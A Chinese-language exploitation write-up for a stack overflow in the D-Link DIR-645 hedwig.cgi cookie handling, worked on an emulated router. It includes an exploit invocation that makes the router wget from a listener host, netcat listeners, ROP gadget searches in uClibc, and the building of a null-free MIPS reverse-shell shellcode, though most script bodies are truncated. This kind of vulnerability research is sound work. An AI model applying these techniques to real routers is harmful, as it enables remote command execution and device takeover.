D-Link DIR-645 CNVD-2013-11625 漏洞分析
D-Link DIR-645 hedwig.cgi 栈溢出漏洞分析。
漏洞信息
漏洞编号:CNVD-2013-11625
漏洞类型:栈溢出
漏洞组件:
- /htdocs/web/post_login.xml
- /htdocs/web/hedwig.cgi
- /htdocs/web/authentication.cgi
影响范围:
- D-Link DIR-645 <= A1 1.0.3B11
漏洞复现
连接仿真路由器 Shell 终端,关闭系统地址随机化。
1 | ------------------------------ |
运行漏洞利用脚本,执行系统命令。
1 | python3 d-link_dir-645_cnvd-2013-11625_exp.py -u "http://192.168.108.128:8000" -c "wget http://192.168.0.2:8000/index.html" |
通过 NetCat 监听端口,接收路由器请求。
1 | nc -lvvp 8000 |
漏洞分析
查看 hedwig.cgi 文件信息可知,该文件是一个软链接,实际指向 /htdocs/cgibin
文件。
1 | ls -l ./htdocs/web/hedwig.cgi |
使用 IDA 加载 cgibin
文件,通过关键字检索,在 main()
函数中定位到路由代码。
1 | if ( !strcmp(filename, "hedwig.cgi") ) |
根据漏洞描述,问题出现在 Cookie 的处理过程中。
Another buffer overflow affects the “hedwig.cgi” CGI script. Unauthenticated remote attackers can invoke this CGI with an overly-long cookie value that can overflow a program buffer and overwrite the saved program address.
通过字符串检索,在 sess_get_uid()
函数中定位到 HTTP_COOKIE
字符串的调用。
1 | cookie_key = (int)sobj_new(); |
分析 sess_get_uid()
函数可知,该函数用于从 Cookie 属性中提取 uid
字段的值,存放在参数 a1
指向的内存空间。
1 | v6 = 0; |
追溯 sess_get_uid()
函数的引用情况,定位到 hedwigcgi_main()
函数中的一处调用。
1 | char xml_path[1024]; // [sp+C0h] [-400h] BYREF |
可以看到,从 Cookie 中得到的 uid 被直接拼接到 xml_path
数组中,由于未对写入数组的长度进行限制,所以存在栈溢出漏洞。
漏洞利用
调试进程
连接仿真路由器 Shell 终端,查找 httpd 进程,并关闭系统地址随机化保护。
1 | ------------------------------ |
运行 gdbserver 附加到 httpd 进程。
1 | ------------------------------ |
运行 gdb-multiarch 连接路由器的调试端口,等待 CGI 请求。
1 | set architecture mips |
发送 CGI 请求,调试器中断在 hedwigcgi_main()
函数开始位置。
1 | ► 0x40c010 <hedwigcgi_main> lui $gp, 0x44 |
控制返回
查看 hedwigcgi_main()
函数的结尾代码,确定 $ra
寄存器的值保存在 var_s24
中。
1 | .text:0040C5B8 loc_40C5B8: # CODE XREF: hedwigcgi_main:loc_40C59C↑j |
根据 hedwigcgi_main()
函数的栈空间布局可知,数组 xml_path
的起始地址距离 var_s24
的偏移为 0x424 字节。
1 | -00000400 xml_path: .byte 1024 dup(?) |
因为拼接后的 xml_path
以 /runtime/session/
开头,所以实际需要填充 0x413 字节用于覆盖 $pc
寄存器。
编写测试脚本,用于覆盖 $pc
寄存器。
1 | #!/usr/bin/python3 |
可以看到 $pc
寄存器被覆盖为指定的内容。
1 | *S0 0x41414141 ('AAAA') |
执行命令
通过调用 libc 库中的 system 函数,可以实现执行任意命令的功能。
查看 cgibin 文件的保护情况。
1 | checksec htdocs/cgibin |
查看 libuClibc-0.9.30.1.so 文件的保护情况。
1 | checksec lib/libuClibc-0.9.30.1.so |
虽然 libuClibc-0.9.30.1.so 文件开启了 PIE 保护机制,但是由于已经关闭系统地址随机化,所以忽略处理。
在调试器中查看 cgibin 进程中的 libuClibc-0.9.30.1.so 模块加载基址。
1 | vmmap |
使用 ROPgadget 在 libuClibc-0.9.30.1.so 中查找合适的函数调用指令。
1 | ROPgadget --binary libuClibc-0.9.30.1.so | grep "move \$t9, \$s0 ; jalr \$t9 ;" |
将准备执行的命令写入 $sp + 0x10
指向的地址,而 system 函数地址则存放在 $s0
寄存器中,这样便可以调用 system 函数执行指定的命令。
在 libuClibc-0.9.30.1.so
中查找 system()
函数的地址。
1 | .text:00053200 .globl system # weak |
由于 system() 函数的地址为 0x00053200,包含截断符,所以需要采用间接的方式进行调用。
在 MIPS 架构中,指令执行采用流水线机制,即在跳转指令执行后,其下一条指令也会执行。因此,通过利用加减法的方式,可以避免地址中截断符的影响。
查找 libuClibc-0.9.30.1.so
中合适的 ROP 指令。
1 | ROPgadget --binary libuClibc-0.9.30.1.so | grep "jalr \$t9 ; addiu \$s0" |
通过将 system 函数地址减 1 发送,加 1 调用的方式,避免 payload 中 \x00
截断符的影响。
编写测试脚本,执行系统命令。由于 requests
库不支持发送 bytes 类型数据,因此更换为 http.client
库进行发送。
1 | #!/usr/bin/python3 |
运行 NetCat 监听指定端口,接收到路由器发送的 HTTP 请求。
1 | nc -lvvp 8000 |
执行代码
通过将代码写入栈中内存,然后跳转到栈上进行执行,实现执行任意代码的功能。
通过之前的 gadget 代码,可以控制程序跳转到栈中地址。
1 | 0x000159cc : addiu $s5, $sp, 0x10 ; move $a1, $s3 ; move $a2, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a0, $s5 |
将代码写入 $sp + 0x10
指向的内存空间,依次经过 0x000159CC 和 0x000158C8 地址指令的执行,最终将跳转到栈中执行 shellcode 代码。
编写测试脚本,控制程序跳转到栈中执行。
1 | #!/usr/bin/python3 |
可以看到 $pc
寄存器指向了栈空间地址,并提示此处为无效指令。
1 | *S0 0x77f498c9 ◂— j 0x740a8320 |
编写实现交互 Shell 的代码。
1 | int main() |
转换为 mips32 架构的汇编代码。
1 | ; int s = socket(2, 2, 0); |
为了防止汇编代码对应的十六进制数据存在 \x00
字节,需要对代码进行优化。
1 | ; int s = socket(2, 2, 0); |
由于 lui $t1, 0x6E69
对应的十六进制数据 \x69\x6e\x09\x3c
中的 \x09
字节会被程序替换为 \x20
字节,因此改用 $t6
寄存器。
通过 Online Assembler and Disassembler 网站将汇编代码转换为十六进制数据。
1 | # int s = socket(2, 2, 0); |
编写测试脚本,执行 shellcode 代码。
1 | #!/usr/bin/python3 |
运行 NetCat 监听端口,接收路由器 Shell 会话。
1 | nc -lvvp 8000 |
参考链接
D-Link DIR-645 Buffer Overflow / Cross Site Scripting ≈ Packet Storm